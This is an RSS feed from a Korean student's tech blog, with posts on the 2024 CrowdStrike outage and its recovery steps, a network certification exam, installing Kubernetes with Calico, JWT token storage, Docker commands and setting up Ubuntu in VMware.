<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>:)</title>
        <link>https://velog.io/</link>
        <description>:)  GITHUB: https://github.com/YJ2123412</description>
        <lastBuildDate>Mon, 22 Jul 2024 11:06:12 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>:)</title>
            <url>https://velog.velcdn.com/images/dpwls_w/profile/c6ff93d8-8a1c-4015-a1a7-f99a7f9a9f14/image.png</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. :). All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/dpwls_w" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[윈도우 먹통 사태 - 크라우드 스트라이크 ]]></title>
            <link>https://velog.io/@dpwls_w/%EC%9C%88%EB%8F%84%EC%9A%B0-%EB%A8%B9%ED%86%B5-%EC%82%AC%ED%83%9C-%ED%81%AC%EB%9D%BC%EC%9A%B0%EB%93%9C-%EC%8A%A4%ED%8A%B8%EB%9D%BC%EC%9D%B4%ED%81%AC</link>
            <guid>https://velog.io/@dpwls_w/%EC%9C%88%EB%8F%84%EC%9A%B0-%EB%A8%B9%ED%86%B5-%EC%82%AC%ED%83%9C-%ED%81%AC%EB%9D%BC%EC%9A%B0%EB%93%9C-%EC%8A%A4%ED%8A%B8%EB%9D%BC%EC%9D%B4%ED%81%AC</guid>
            <pubDate>Mon, 22 Jul 2024 11:06:12 GMT</pubDate>
            <description><![CDATA[<h1 id="사건-발생">사건 발생</h1>
<p> 19일 오후부터 시작된 미국 사이버 보안 기업 ‘크라우드 스트라이크(CrowdStrike)’의 보안 소프트웨어의 업데이트 오류로 인해 항공, 은행, 방송 등 전 세계 시스템이 마비</p>
<h1 id="발생-원인">발생 원인</h1>
<ul>
<li>크라우드 스트라이크의 보안 플랫폼 ‘팔콘(Falcon)’의 보안 업데이트 오류 → 기기들이 부팅 루프에 빠져 정상 작동 불가
  <em>- Falcon: 100% 클라우드 기반, 하드웨어나 추가 소프트웨어 등 구성요소 불필요, 호스트 방화벽 관리, 위협 인텔리전스 기능 함께 제공</em></li>
</ul>
<h2 id="이로-인한-문제점">이로 인한 문제점</h2>
<p>해당 사고는 보안 또는 사이버 공격이 아니나 이를 악용한 사례 발생 가능
(기술 문제를 복구시켜 준다며 악성코드를 유포하고, 크라우드 스트라이크의 지원을 가장한 피싱 이메일을 통해 개인정보 입력을 유도한 사례가 발견)</p>
<h2 id="긴급-조치-방법-kisa">긴급 조치 방법 (KISA)</h2>
<ul>
<li>안전 모드에서 문제가 되는 SW 파일을 삭제하는 것<ul>
<li>조치 순서: 먼저 안전 모드로 부팅 → 복구 화면에서 ‘고급 복구 옵션 보기’를 클릭 → 고급 복구 옵션 메뉴에서 ‘문제 해결’을 선택 → ‘고급 옵션’을 선택 → ‘시작 설정’을 선택하고 ‘다시 시작’을 클릭 → 재부팅 후 4 또는 F4 키를 눌러 안전 모드에서 PC를 시작</li>
<li>두 번째로 안전 모드에서 명령 프롬프트(관리자) 또는 Windows PowerShell(관리자)를 실행한다. 다음으로 C:Windows-System32-drivers-CrowdStrike 디렉터리로 이동한 후, C-00000291*.sys 패턴과 일치하는 파일을 검색해 삭제</li>
</ul>
</li>
</ul>
<h3 id="참고-기사">참고 기사</h3>
<p><a href="https://m.boannews.com/html/detail.html?idx=131501">https://m.boannews.com/html/detail.html?idx=131501</a>
<a href="https://m.boannews.com/html/detail.html?tab_type=1&amp;idx=131506">https://m.boannews.com/html/detail.html?tab_type=1&amp;idx=131506</a>
<a href="https://www.dailysecu.com/news/articleView.html?idxno=157917">https://www.dailysecu.com/news/articleView.html?idxno=157917</a>
<a href="https://www.crowdstrike.com/statement-on-falcon-content-update-for-windows-hosts-kr/">https://www.crowdstrike.com/statement-on-falcon-content-update-for-windows-hosts-kr/</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[2024] 비전공자의 네트워크 관리사 2급 - 2차 합격 정보 공유]]></title>
            <link>https://velog.io/@dpwls_w/2024-%EB%B9%84%EC%A0%84%EA%B3%B5%EC%9E%90%EC%9D%98-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EA%B4%80%EB%A6%AC%EC%82%AC-2%EA%B8%89-2%EC%B0%A8-%ED%95%A9%EA%B2%A9-%EC%A0%95%EB%B3%B4-%EA%B3%B5%EC%9C%A0</link>
            <guid>https://velog.io/@dpwls_w/2024-%EB%B9%84%EC%A0%84%EA%B3%B5%EC%9E%90%EC%9D%98-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EA%B4%80%EB%A6%AC%EC%82%AC-2%EA%B8%89-2%EC%B0%A8-%ED%95%A9%EA%B2%A9-%EC%A0%95%EB%B3%B4-%EA%B3%B5%EC%9C%A0</guid>
            <pubDate>Tue, 02 Jul 2024 02:04:58 GMT</pubDate>
            <description><![CDATA[<p>국비 수업을 들으며 병행했던 네트워크 관리사 2급 시험에 붙게 되어 기록 겸 정보 공유를 위해 글을 작성해봅니다. 수업에서는 linux, network +기초 보안에 대해 들었으며 수업에서 공부한 내용들은 블로그에 정리되어 있습니다.</p>
<h1 id="1차-시험-및-기본-정보">1차 시험 및 기본 정보</h1>
<p><a href="https://velog.io/@dpwls_w/2024%EB%85%84-%EB%B9%84%EC%A0%84%EA%B3%B5%EC%9E%90%EC%9D%98-%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EA%B4%80%EB%A6%AC%EC%82%AC-2%EA%B8%89-%ED%95%84%EA%B8%B0-%ED%95%A9%EA%B2%A9-%EC%A0%95%EB%B3%B4-%EA%B3%B5%EC%9C%A0">1차 시험 및 기본 정보</a>는 이전 게시글로 대체합니다. (과목, 시험일정 등)</p>
<h1 id="시험">시험</h1>
<p>시험 장소는 일주일 전 홈페이지에 공개되고 수험표는 별도로 필요하지 않습니다.
랜툴의 경우 시험 장소에서 대여가 가능하다고 하였으나 상태가 안좋을 수도 있다는 공지를 보고 저는 개인적으로 챙겨갔습니다.
케이블 제작 - ICQA - 라우팅 순으로 시험이 진행됩니다. 각 시험 시작마다 비밀번호가 필요하며 감독관이 일정 시간이 지나면 알려주니 입력하시면 됩니다. </p>
<h2 id="공부-방법">공부 방법</h2>
<p><a href="https://www.icqa.or.kr/cn/board/dataroom?sca=%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC%EA%B4%80%EB%A6%AC%EC%82%AC">https://www.icqa.or.kr/cn/board/dataroom?sca=%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC%EA%B4%80%EB%A6%AC%EC%82%AC</a>
<img src="https://velog.velcdn.com/images/dpwls_w/post/eed9dfe7-bf66-469a-ae89-5399100939f0/image.png" alt=""></p>
<p>공식 사이트에서 올려준 연습 프로그램을 이용해서 실습을 진행했습니다. ICQA 문제 내용들은 대부분 하나하나 눌러가며 설명을 읽고 처리하면 충분히 풀 수 있으실겁니다. 해당 프로그램의 풀이 영상 링크입니다.
<a href="https://www.youtube.com/watch?v=8LW96hLqXCo&amp;list=PLrTFeWWAg1ciqrQ8hQ-42fotXi3AGz-aC&amp;index=11">https://www.youtube.com/watch?v=8LW96hLqXCo&amp;list=PLrTFeWWAg1ciqrQ8hQ-42fotXi3AGz-aC&amp;index=11</a></p>
<p>아래는 제가 여러 자료들을 취합해서 정리한 내용입니다.</p>
<p><img src="https://velog.velcdn.com/images/dpwls_w/post/7ee315a5-60ed-40fc-a551-5e86df7e4613/image.jpg" alt="">
<img src="https://velog.velcdn.com/images/dpwls_w/post/b3045486-c3e5-4368-82c6-804ba81aa018/image.jpg" alt="">
<img src="https://velog.velcdn.com/images/dpwls_w/post/3dc48e90-4ee6-4199-853c-c2af46e8953c/image.jpg" alt=""></p>
<h3 id="합격-인증">합격 인증</h3>
<p><img src="https://velog.velcdn.com/images/dpwls_w/post/656998b4-41c1-4d23-bdf6-8d9c899139ed/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[kubernetes]]></title>
            <link>https://velog.io/@dpwls_w/kubernetes</link>
            <guid>https://velog.io/@dpwls_w/kubernetes</guid>
            <pubDate>Mon, 01 Jul 2024 04:27:17 GMT</pubDate>
            <description><![CDATA[<p><a href="https://kubernetes.io/ko">https://kubernetes.io/ko</a></p>
<h1 id="개념">개념</h1>
<p><img src="https://velog.velcdn.com/images/dpwls_w/post/b5b3054b-e421-4435-9630-eec7e19f6508/image.png" alt=""></p>
<ul>
<li><p>컨테이너화된 워크로드와 서비스를 관리하기 위한 이식성이 있고, 확장 가능한 오픈소스 플랫폼</p>
</li>
<li><p>선언적 구성과 자동화를 모두 용이하게 함</p>
</li>
<li><p>쿠버네티스 서비스, 기술 지원 및 도구는 어디서나 쉽게 이용가능</p>
<h2 id="기능">기능</h2>
</li>
<li><p><strong>서비스 디스커버리와 로드 밸런싱</strong></p>
<pre><code>  - 쿠버네티스는 DNS 이름을 사용하거나 자체 IP 주소를 사용하여 컨테이너 노출 가능
  - 컨테이너에 대한 트래픽이 많으면, 쿠버네티스는 네트워크 트래픽을 로드밸런싱하고 배포하여 안정적 배포 가능</code></pre></li>
<li><p><strong>스토리지 오케스트레이션</strong></p>
<pre><code>  - 쿠버네티스 사용시 로컬 저장소, 공용 클라우드 공급자 등과 같이 원하는 저장소 시스템 자동 탑재</code></pre></li>
<li><p><strong>자동화된 롤아웃과 롤백</strong></p>
<pre><code>  - 쿠버네티스를 사용하여 배포된 컨테이너의 원하는 상태를 서술가능, 현재 상태를 원하는 상태로 설정한 속도에 따라 변경 가능
      → 쿠버네티스 자동화로 배포용 새 컨테이너 생성, 기존 컨테이너 제거, 모든 리소스를 새 컨테이너에 적용 가능 </code></pre></li>
<li><p><strong>자동화된 빈 패킹(bin packing)</strong></p>
<pre><code>  - 컨테이너화된 작업을 실행하는데 사용할 수 있는 쿠버네티스 클러스터 노드를 제공
  - 각 컨테이너가 필요로 하는 CPU와 메모리(RAM)를 쿠버네티스에게 지시
  - 쿠버네티스는 컨테이너를 노드에 맞추어서 리소스를 가장 잘 사용할 수 있도록 함</code></pre></li>
<li><p><strong>자동화된 복구(self-healing)</strong></p>
<pre><code>  - 실패한 컨테이너 재시작, 컨테이너 교체, &#39;사용자 정의 상태 검사&#39;에 응답하지 않는 컨테이너 죽임 → 서비스 준비가 끝날 때까지 과정 보여주지 않음</code></pre></li>
<li><p><strong>시크릿과 구성 관리</strong></p>
<pre><code>  - 쿠버네티스를 사용시 암호, OAuth 토큰 및 SSH 키와 같은 중요한 정보를 저장, 관리 가능
  - 컨테이너 이미지를 재구성하지 않고 스택 구성에 시크릿을 노출하지 않고도 시크릿 및 애플리케이션 구성을 배포 및 업데이트 가능</code></pre></li>
</ul>
<h2 id="종류">종류</h2>
<ul>
<li>Flannel<pre><code>  - 가장 단순한 쿠버네티스
  UDP나 VxLAN을 사용하여 가상 네트워크를 구성
  물리적인 네트워크 인프라 변경없이 쿠버네티스 클러스터를 구성할 때 사용
  신속함, 고도 확장 불가, 일부 환경 성능 문제 발생.</code></pre></li>
<li>Calico<pre><code>  - 고성능 솔루션
  BGP 프로토콜을 사용(네트워크 라우팅)
  IP-in-IP, VXLAN, 또는 BGP 통해 가상 망 구성가능
  네트워크 정책 엔진을 제공
  대규모 환경 적합, 다중 클러스터 환경에도 사용.</code></pre></li>
<li>WeaveNet<pre><code>  - 가벼우면서 유연한 쿠버네티스전용 네트워킹
  가상 네트워크구성가능
  UDP 또는 VXLAN 사용
  노드 간에 가상 네트워크를 자동으로 연결
  쿠버네티스 클러스터 설정이 간단
  다중 클러스터 환경에서도 사용
  네트워크 정책을 정의</code></pre></li>
</ul>
<h1 id="설치calico">설치(Calico)</h1>
<blockquote>
<p>도커 로그인
    docker run -it ubuntu bash
    hostnamectl  set-hostname k8s-master-00
    ufw disable
    swapoff -a</p>
</blockquote>
<ul>
<li><p>vi /etc/fstab<br>스왑부분 주석</p>
</li>
<li><p>vi /etc/containerd/config.toml
주석 cri</p>
</li>
</ul>
<blockquote>
<p>cat &lt;&lt; EOF | tee /etc/docker/daemon.json
    {
    &quot;exec-opts&quot;: [&quot;native.cgroupdriver=systemd&quot;],
    &quot;log-driver&quot;: &quot;json-file&quot;,
    &quot;log-opts&quot;: {
    &quot;max-size&quot;: &quot;100m&quot;
    },
    &quot;storage-driver&quot;: &quot;overlay2&quot;
    }
    EOF</p>
</blockquote>
<blockquote>
<p>cat &lt;&lt; EOF | tee /etc/sysctl.d/sevas.conf
    net.bridge.bridge-nf-call-ip6tables = 1
    net.bridge.bridge-nf-call-iptables = 1
    EOF</p>
</blockquote>
<blockquote>
<p>cat &lt;&lt; EOF | tee /etc/modules-load.d/sevas.conf
    overlay
    br_netfilter
    EOF</p>
</blockquote>
<blockquote>
<p>확인 <code>lsmod | grep br_netfilter</code> 
설정로드 <code>sysctl --system</code></p>
</blockquote>
<ul>
<li>레포지터리 설치</li>
</ul>
<p>apt-get install -y apt-transport-https<br><code>curl -fsSL https://pkgs.k8s.io/core:/stable:/v1.28/deb/Release.key | sudo gpg --dearmor -o /etc/apt/keyrings/kubernetes-apt-keyring.gpg</code><br><code>echo &#39;deb [signed-by=/etc/apt/keyrings/kubernetes-apt-keyring.gpg] https://pkgs.k8s.io/core:/stable:/v1.28/deb/ /&#39; | sudo tee /etc/apt/sources.list.d/kubernetes.list</code>
<code>apt-get update</code>
<code>apt-get install -y kubelet kubeadm kubectl</code>
<code>apt-mark hold kubelet kubeadm kubectl</code></p>
<blockquote>
<p>docker login
    kubelet --version
    apt-get install nfs-kernel-server</p>
<p>systemctl daemon-reload
systemctl enable docker
systemctl enable kubelet
systemctl enable containerd
systemctl restart docker
systemctl restart kubelet
systemctl restart containerd
systemctl status kubelet</p>
<p><code>containerd config default | tee /etc/containerd/config.toml sed -i &#39;s/SystemdCgroup = false/SystemdCgroup = true/g&#39; /etc/containerd/config.toml</code></p>
<p>service containerd restart
service kubelet restart
service NetworkManager restart 
nslookup google.com</p>
</blockquote>
<h2 id="마스터에서만-실행">마스터에서만 실행</h2>
<blockquote>
<p>kubeadm init --pod-network-cidr=192.168.0.0/16</p>
</blockquote>
<ul>
<li><p>메세지 →  해시 기록해둘 것</p>
<pre><code>      Your Kubernetes control-plane has initialized successfully!
      To start using your cluster, you need to run the following as a regular user:
      mkdir -p $HOME/.kube
      sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
      sudo chown $(id -u):$(id -g) $HOME/.kube/config
      Alternatively, if you are the root user, you can run:
      export KUBECONFIG=/etc/kubernetes/admin.conf
      You should now deploy a pod network to the cluster.
      Run &quot;kubectl apply -f [podnetwork].yaml&quot; with one of the options listed at:
      https://kubernetes.io/docs/concepts/cluster-administration/addons/
      Then you can join any number of worker nodes by running the following on each as root:
      kubeadm join 192.168.10.100:6443 --token t74935.2sk3buhm764uwkbi \
      --discovery-token-ca-cert-hash sha256: 해시 출력</code></pre></li>
<li><p>vi /root/.bashrc
export KUBECONFIG=/etc/kubernetes/admin.conf  (추가)</p>
</li>
</ul>
<blockquote>
<p>bash
        set |grep KUBE</p>
<p><img src="https://velog.velcdn.com/images/dpwls_w/post/2396edac-e5eb-4ae1-8588-df76e0d04dcb/image.png" alt=""></p>
</blockquote>
<ul>
<li>calico 설치 (kubectl 쿠버네티스 명령어도구)<blockquote>
<p>kubectl create -f <a href="https://raw.githubusercontent.com/projectcalico/calico/v3.26.4/manifests/tigera-operator.yaml">https://raw.githubusercontent.com/projectcalico/calico/v3.26.4/manifests/tigera-operator.yaml</a></p>
<pre><code>      kubectl create -f https://raw.githubusercontent.com/projectcalico/calico/v3.26.4/manifests/custom-resources.yaml
      kubectl create -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.2/manifests/tigera-operator.yaml
      kubectl create -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.2/manifests/custom-resources.yaml</code></pre><p>칼리코 삭제할때는 <code>find / -name calico</code> 다 지우고 <code>ipvsadm --clear</code>  /    <code>rm -rf /etc/cni/net.d</code> 도 지움 
확인 <code>watch kubectl get pods -n calico-system</code>
<img src="https://velog.velcdn.com/images/dpwls_w/post/33e3b311-49c7-4f6e-855b-eb9847efe49d/image.png" alt=""></p>
</blockquote>
</li>
</ul>
<h2 id="노드에서만-실행">노드에서만 실행</h2>
<blockquote>
<p>mkdir -p $HOME/.kube
        scp 172.16.10.100:/etc/kubernetes/admin.conf $HOME/.kube/config
        cp -a $HOME/.kube/config  /etc/kubernetes/admin.conf</p>
</blockquote>
<ul>
<li>vi bashrc
export KUBECONFIG=/etc/kubernetes/admin.conf</li>
</ul>
<h1 id="토큰">토큰</h1>
<blockquote>
<p>쿠버네티스에서 사용할 인증정보(secret) 를 생성
    docker login
    cat  /root/.docker/config.json</p>
<p>생성 kubectl create secret generic master --from-file=.dockerconfigjson=/root/.docker/config.json --type=<a href="http://kubernetes.io/dockerconfigjson">kubernetes.io/dockerconfigjson</a>
확인 kubeadm token list
접속
    kubeadm join &lt;192.168.0.10:6443&gt; --token &lt;Token 값&gt; --discovery-token-ca-cert-hash sha256:&lt;Hash 값&gt;</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[JWT]]></title>
            <link>https://velog.io/@dpwls_w/JWT</link>
            <guid>https://velog.io/@dpwls_w/JWT</guid>
            <pubDate>Thu, 27 Jun 2024 06:10:58 GMT</pubDate>
            <description><![CDATA[<h1 id="jwt">JWT</h1>
<h2 id="토큰-사용-목적">토큰 사용 목적</h2>
<ol>
<li>단일 토큰 <ol>
<li>로그인 성공 JWT 발급 서버 측 → 클라이언트로 JWT 발급</li>
<li>권한이 필요한 모든 요청 : 클라이언트 → 서버 측 JWT 전송
권한이 필요한 요청은 서비스에서 많이 발생
클라이언트 측 xxs나 http통신을 가로채서 토큰을 훔침 → 대비하기 위한 로직 필요</li>
</ol>
</li>
<li>다중 토큰 : refresh 토큰<ol>
<li>access/Refresh 토큰</li>
<li>생명주기를 짧게 발급 (약10분)  , 토큰이 만료 되었을때 함께 받은 Refresh 토큰 (24시간) 토큰 재발급<pre><code> 1. 로그인 성공시 2개 토큰
     - Access 토큰 : 권한이 필요한 모든 헤더에 사용될 JWT 생명주기를 짧게 함
     - Refresh 토큰 : 재발급을 위한 토큰으로 24시간 생명주기
 2. 권한이 필요한 모든요청은 Access 토큰을 사용
 3. Access 토큰이 만료될경우 Refresh 토큰을 검증 후 Access 토큰을 재발급</code></pre><h2 id="포인트">포인트</h2>
</li>
</ol>
</li>
<li>로그인이 완료되면 successHandler에서 Access/Refresh 토큰 2개 발급해 응답</li>
<li>Access 토큰을 요청을 검증하는 JWTFilter에서 Access 토큰이 만료된 경우 상태 코드와 메시지를 응답</li>
<li>프론트 측 API 요청 시 Access 토큰 만료 요청이 오면 예외문을 통해 Refresh 토큰을 서버 측으로 전송 → Acccess 토큰을 새로 받는 로직 수행</li>
<li>서버측에서는 토큰을 받을 엔드 포인트 구성 Refresh 검증 후 Access를 응답<ul>
<li>단일 → 다중으로 전환되면 Access 토큰이 탈취되더라도 생명 주기가 짧아 피해가 줄어듬 ⇒ Refresh 토큰에 대한 보호 방법이 필요</li>
<li>Refresh 토큰 Rotate 에 대한 부분 ( Access 토큰 갱신 시  Refresh 토큰도 재발급 )<ul>
<li>Access/Refrsh 토큰 저장 위치<ul>
<li>기존 저장 로직<ul>
<li>로컬 스토리지  : xss 공격에 취약 : Access 토큰 저장</li>
<li>httpOnly 쿠키  : CSRF 공격에 취약 : Refresh 토큰 저장<h2 id="고려-사항">고려 사항</h2>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li>JWT의 탈취는 XSS 공격으로 로컬스토리지에 저장된 JWT를 가져감
 쿠키방식은 CSRF공격에 취약하기 대문에 저장소가 중요</li>
<li>Access 토큰
 보통 로컬 스토리지에 저장되고 짧은 생명주기</li>
<li>Refresh 토큰
 주로 쿠키에 저장  httpOnly를 설정하면 방어 가능</li>
<li>Refresh 토큰은 Rotate를 통해서 Access 토큰 발급 시 Refresh토큰도 갱신하여 방어 조치를 함</li>
</ol>
<h2 id="가장-강력한-보안">가장 강력한 보안</h2>
<ul>
<li>로그아웃을 할 때 Access/Refresh 토큰을 초기화하고 제거함</li>
<li>Refresh 토큰 블랙리스팅</li>
</ul>
<p><img src="https://velog.velcdn.com/images/dpwls_w/post/aa14fd24-e849-417b-b3c1-d1083388647b/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Linux] Docker ]]></title>
            <link>https://velog.io/@dpwls_w/Linux-Docker</link>
            <guid>https://velog.io/@dpwls_w/Linux-Docker</guid>
            <pubDate>Mon, 24 Jun 2024 12:09:17 GMT</pubDate>
            <description><![CDATA[<h1 id="개념">개념</h1>
<p>리눅스의 응용 프로그램들을 프로세스 격리 기술들을 사용해 컨테이너로 실행하고 관리하는 오픈 소스 프로젝트</p>
<ul>
<li>container =emulator</li>
</ul>
<h2 id="명령어">명령어</h2>
<ul>
<li><p><strong>포트 포워딩 상태로(백그라운드) 최초 실행 후 진입 
  docker run -d -p 80:80 --name sevas_web ID
  docker exec -it sevas_web /bin/bash</strong></p>
<ul>
<li><p>최초 시작 전 반드시 로그인 <code>docker login</code></p>
</li>
<li><p>환경 확인 <code>docker system info</code></p>
</li>
<li><p>저장소 확인 <code>docker system df</code></p>
</li>
<li><p>최초 이미지 불러오기</p>
<ol>
<li>도커 이미지 찾기</li>
</ol>
<p>  -Docker search [이미지명]
  docker search oraclelinux</p>
<ol start="2">
<li>도커 이미지 가져오기</li>
</ol>
<p>  -Docker pull [이미지명] [기본 latest]
  웹에서 직접들어가서 tag까지 가져오기 - docker pull oraclelinux:8</p>
<ol start="3">
<li>도커 이미지 확인</li>
</ol>
<p>  -Docker image ls</p>
<ol start="4">
<li>도커 이미지 삭제</li>
</ol>
<p>  -Docker image rm [IMAGE_ID]</p>
</li>
<li><p>Container</p>
<ol>
<li><p>실행  run, attach ,exec </p>
<ol>
<li><p>run : 새로운 컨테이너를 생성해 실행하는 명령어 (보통 최초한번만 실행-명령이 끝나면 종료)</p>
<ol>
<li><strong>docker run --name [컨테이너 이름 지정] [Repository]:[TAG]</strong>   → 포어그라운드= 웹페이지 접속x / ctrl +c만 가능</li>
</ol>
<ul>
<li><p>명령어</p>
<blockquote>
<p>옵션                        설명
  -i
  --interactive             컨테이너의 표준 입력(stdin)을 활성화. (주로 -it 함께 사용)
  -t
  --tty    tty                     (가상 터미널)을 할당, 리눅스에 키보드를 통해 표준 입력(stdin)을 전달할 수 있게한다. (주로 -it 함께 사용)
  --name                      컨테이너 이름을 지정.
  -d
  --detach                      컨테이너를 백그라운드로 실행.
  --rm    docker run         명령어가 끝나면, 컨테이너 자동 삭제.
  -p
  --publish                        호스트와 컨테이너의 포트를 연결 (포트포워딩).
  -p                                 &lt;호스트 포트&gt;:&lt;컨테이너 포트&gt;
  ex) -p 80:8888              → 호스트에 8888로 접속하면, 컨테이너 내부의 80포트로 자동 접속.
  -v
  --volume                          호스트와 컨테이너의 디렉토리 연결(마운트)
  -v                                  &lt;호스트 절대경로&gt;:&lt;컨테이너 절대경로&gt;
  ex) -v /Users:/usr.           → 컨테이너 /usr에 저장하는 파일은 호스트의 /Users 디렉토리에 저장.
  --restart                           컨테이너 종료시, 재시작 정책 설정
  --restart=&quot;always&quot;          항상 재시작
  --restart=&quot;on-failure&quot;     종료 스테이터스가 0이 아닐 때 재시작</p>
<p>--privileged    컨테이너 안에서 호스트의 리눅스 커널 기능을 모두 사용</p>
</blockquote>
<ul>
<li>--rm 옵션과 --restart 옵션은 동시 사용 x</li>
<li>상태 Exited 비활성화 / UP 활성화</li>
</ul>
</li>
<li><p>실습</p>
<p>  확인: docker container ps -a</p>
<blockquote>
<p>docker run  --name  sevas_web nginx:latest → 포어그라운드  ctrl+p,ctrl+q 안됨 , ctrl+c (EXIT상태됨)
  docker run -it --name  sevas2_web nginx:latest  → 포어그라운드+가상터미널할당 ( -it )  ctrl+pq 로 나가서 유지</p>
<p>docker run -d --name sevas3_web nginx:latest → 백그라운드실행
docker run -d --name sevas4_web -p 80:80 nginx:latest  → 백그라운드실행 + DNAT설정 (웹페이지 출력됨)</p>
</blockquote>
</li>
</ul>
</li>
<li><p>exec : 실행 중인 컨테이너에 명령어를 전달(외부 -&gt; 내부)</p>
<ol>
<li>진입해서 명령 실행 <strong>docker exec -it <CONTAINER ID> <OPTIONS></strong></li>
<li>명령만 실행 docker exec <CONTAINER ID> <OPTIONS></li>
<li>exec로 실행한 도커(Exited 상태) 실행 : docker start sevas_web uname -a</li>
</ol>
</li>
<li><p>attach : 실행 중인 컨테이너에 직접 들어가 명령어를 실행 (내부 접근)    → 로그 내용 볼 때 사용, 잘 안씀</p>
<ol>
<li><p>docker attach <CONTAINER ID>
docker attach sevas_web</p>
<blockquote>
<p>-it (접속유지)</p>
</blockquote>
</li>
</ol>
<p> -d: 백그라운드</p>
<blockquote>
<p>연결 종료 후 나가기: ctrl +c
연결 유지한 채 나가기: ctrl +pq</p>
</blockquote>
</li>
</ol>
</li>
<li><p>확인</p>
<ol>
<li>동작 중인 컨테이너: docker container ls</li>
<li>시작한 컨테이너: docker container ps -a</li>
<li>컨테이너 ID: docker container ps -a  -q</li>
</ol>
</li>
</ol>
<ul>
<li><strong>보통 최초 실행 시 run 사용 docker exec -it /bin/bash로 들어가서 작업</strong></li>
</ul>
<ol>
<li><p>멈추기  docker stop [container ID]  / 모두 멈추기 docker stop $(docker ps -a -q)</p>
</li>
<li><p>지우기  docker rm [container ID]  / 모두 지우기 docker rm $(docker ps -a -q)</p>
</li>
<li><p>도커 내부에서 명령어 사용</p>
<blockquote>
<p>apt update
 apt install bet-tools
 apt install vim
 index 찾기 <code>find / -name index.html -&gt; /usr/share/ngnix/html</code></p>
</blockquote>
</li>
</ol>
</li>
<li><p>image</p>
<ul>
<li>호출 docker image ls</li>
<li>저장 docker image save -o export.tar nginx:latest<pre><code>   docker image save -o export.tar [IMAGE ID]</code></pre></li>
<li>로드 docker image load -i export.tar</li>
<li>빌드 docker container commit -a &quot;계정명&quot; web_01 헤드:버전<pre><code>   docker container commit -a &quot;sevas2&quot; web_01 web_01:1.0</code></pre></li>
<li>삭제 docker image rm [이름]</li>
</ul>
</li>
<li><p>docker hub이용</p>
<ol>
<li>회원가입</li>
<li>create repositories</li>
<li>docker image tag 이름:버전 계정/이름:버전 -&gt; 태그 부여
ex) docker image tag sevas_web:1.0 sevas2/sevas_web:1.0</li>
<li>docker push sevas2/sevas_web:1.0</li>
</ol>
<ul>
<li>repositories의 이름과 허브의 repositories이름이 같아야 함</li>
</ul>
</li>
</ul>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Linux] ubuntu 설치 ]]></title>
            <link>https://velog.io/@dpwls_w/Docker-%EC%84%A4%EC%B9%98-ubuntu</link>
            <guid>https://velog.io/@dpwls_w/Docker-%EC%84%A4%EC%B9%98-ubuntu</guid>
            <pubDate>Mon, 24 Jun 2024 09:04:35 GMT</pubDate>
            <description><![CDATA[<p><em>실습을 위한 설치 환경입니다.</em></p>
<h1 id="1-우분투-다운">1. 우분투 다운</h1>
<p><a href="https://ubuntu.com/">https://ubuntu.com/</a>
<a href="https://releases.ubuntu.com/22.04/ubuntu-22.04.4-desktop-amd64.iso">iso 바로 다운 링크</a>
<img src="https://velog.velcdn.com/images/dpwls_w/post/b73d2f48-dc34-45e7-8d83-deb04f9d0199/image.png" alt=""><img src="https://velog.velcdn.com/images/dpwls_w/post/ee0e6da9-6684-4eab-b0f1-8b2fc8b0e63f/image.png" alt=""><img src="https://velog.velcdn.com/images/dpwls_w/post/5bb87063-1803-49be-a323-025a57e40017/image.png" alt=""><img src="https://velog.velcdn.com/images/dpwls_w/post/aa490109-eb9e-40e3-96f8-591f0d0589a8/image.png" alt=""></p>
<h1 id="2-vm웨어-생성">2. VM웨어 생성</h1>
<p>(기본시작: custom/ 이미지에 없는 설정은 기본 설정)
<img src="https://velog.velcdn.com/images/dpwls_w/post/0ba0574a-e727-48f8-9797-70de5364182d/image.png" alt=""><img src="https://velog.velcdn.com/images/dpwls_w/post/6f0eadb3-9ce2-4403-8ca5-e49178fba3d5/image.png" alt=""><img src="https://velog.velcdn.com/images/dpwls_w/post/1bb6dc83-13f1-4286-bee4-bc807c9f4750/image.png" alt=""><img src="https://velog.velcdn.com/images/dpwls_w/post/84677080-a227-4693-a7fb-3fd254578b4c/image.png" alt=""><img src="https://velog.velcdn.com/images/dpwls_w/post/027abcba-7ee9-46b7-8b98-8a80babab645/image.png" alt=""><img src="https://velog.velcdn.com/images/dpwls_w/post/abaa4d31-2baa-480f-9f3e-2933ee8c24a2/image.png" alt="">
최종 <img src="https://velog.velcdn.com/images/dpwls_w/post/8f2f18cb-9435-42c2-b888-5d9d67bc76c7/image.png" alt=""></p>
<h1 id="3-우분투-설치">3. 우분투 설치</h1>
<p>(이미지에 없는 설정은 기본 설정)
<img src="https://velog.velcdn.com/images/dpwls_w/post/f1441a3f-7e18-4260-81f1-98167061306e/image.png" alt=""><img src="https://velog.velcdn.com/images/dpwls_w/post/7ecadb1a-3f96-4ea4-8f8d-1239a634cb10/image.png" alt=""><img src="https://velog.velcdn.com/images/dpwls_w/post/86bfd386-d878-46f7-91b3-6a66b148667b/image.png" alt=""><img src="https://velog.velcdn.com/images/dpwls_w/post/d9a5fabf-25c9-412b-898c-314801daa804/image.png" alt="">
설치 완료 후 재시작 -&gt; 생성한 계정으로 접속
